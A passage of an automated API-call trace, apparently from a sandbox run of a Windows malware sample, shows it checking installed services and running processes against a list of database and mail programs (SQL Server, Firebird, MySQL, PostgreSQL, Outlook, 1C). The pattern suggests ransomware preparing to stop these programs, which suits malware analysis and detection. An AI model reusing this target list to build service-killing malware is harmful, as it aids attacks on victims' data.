[0049.251] lstrlenW (lpString="CryptSvc") returned 8 [0049.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.251] lstrlenW (lpString="CscService") returned 10 [0049.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.251] lstrlenW (lpString="DcomLaunch") returned 10 [0049.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.251] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.251] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.251] lstrlenW (lpString="Dhcp") returned 4 [0049.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.251] lstrlenW (lpString="Dnscache") returned 8 [0049.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.252] lstrlenW (lpString="DPS") returned 3 [0049.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.252] lstrlenW (lpString="eventlog") returned 8 [0049.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.252] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.252] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.252] lstrlenW (lpString="EventSystem") returned 11 [0049.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.252] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.252] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.252] lstrlenW (lpString="gpsvc") returned 5 [0049.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.252] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.252] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.252] lstrlenW (lpString="iphlpsvc") returned 8 [0049.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.252] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.252] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.253] lstrlenW (lpString="LanmanServer") returned 12 [0049.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.253] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.253] lstrlenW (lpString="lmhosts") returned 7 [0049.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.253] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.253] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.253] lstrlenW (lpString="MMCSS") returned 5 [0049.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.253] lstrlenW (lpString="MpsSvc") returned 6 [0049.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.254] lstrlenW (lpString="Netman") returned 6 [0049.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.254] lstrlenW (lpString="netprofm") returned 8 [0049.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.254] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.254] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.254] lstrlenW (lpString="NlaSvc") returned 6 [0049.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.254] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.254] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.255] lstrlenW (lpString="nsi") returned 3 [0049.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.255] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.255] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.255] lstrlenW (lpString="PcaSvc") returned 6 [0049.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.255] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.255] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.255] lstrlenW (lpString="PlugPlay") returned 8 [0049.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.255] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.255] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.255] lstrlenW (lpString="Power") returned 5 [0049.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.255] lstrlenW (lpString="ProfSvc") returned 7 [0049.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.256] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.256] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.256] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.256] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.256] lstrlenW (lpString="RpcSs") returned 5 [0049.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.256] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.256] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.256] lstrlenW (lpString="SamSs") returned 5 [0049.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.256] lstrlenW (lpString="Schedule") returned 8 [0049.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.257] lstrlenW (lpString="SENS") returned 4 [0049.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.257] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.257] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.257] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.257] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.257] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.257] lstrlenW (lpString="Spooler") returned 7 [0049.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.257] lstrlenW (lpString="SysMain") returned 7 [0049.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.257] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.257] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.257] lstrlenW (lpString="Themes") returned 6 [0049.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.258] lstrlenW (lpString="TrkWks") returned 6 [0049.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.258] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.258] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.258] lstrlenW (lpString="UxSms") returned 5 [0049.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.258] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.258] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.258] lstrlenW (lpString="VSS") returned 3 [0049.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.258] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.258] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.258] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.259] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.259] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.259] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.259] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.259] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.259] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.259] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.259] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.259] lstrlenW (lpString="Winmgmt") returned 7 [0049.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.259] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.259] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.259] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.260] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x607b80 | out: hHeap=0x510000) returned 1 [0049.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0049.262] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.262] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.262] lstrlenW (lpString="System") returned 6 [0049.262] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.262] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.263] lstrlenW (lpString="smss.exe") returned 8 [0049.263] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.263] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.263] lstrlenW (lpString="csrss.exe") returned 9 [0049.263] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.263] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.264] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.264] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.264] lstrlenW (lpString="wininit.exe") returned 11 [0049.264] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0049.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0049.264] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.265] lstrlenW (lpString="csrss.exe") returned 9 [0049.265] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.265] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.265] lstrlenW (lpString="winlogon.exe") returned 12 [0049.265] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.265] lstrlenW (lpString="services.exe") returned 12 [0049.265] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.266] lstrlenW (lpString="lsass.exe") returned 9 [0049.266] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.266] lstrlenW (lpString="lsm.exe") returned 7 [0049.266] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.266] lstrlenW (lpString="svchost.exe") returned 11 [0049.267] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.267] lstrlenW (lpString="svchost.exe") returned 11 [0049.267] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.267] lstrlenW (lpString="svchost.exe") returned 11 [0049.267] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.268] lstrlenW (lpString="svchost.exe") returned 11 [0049.268] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, 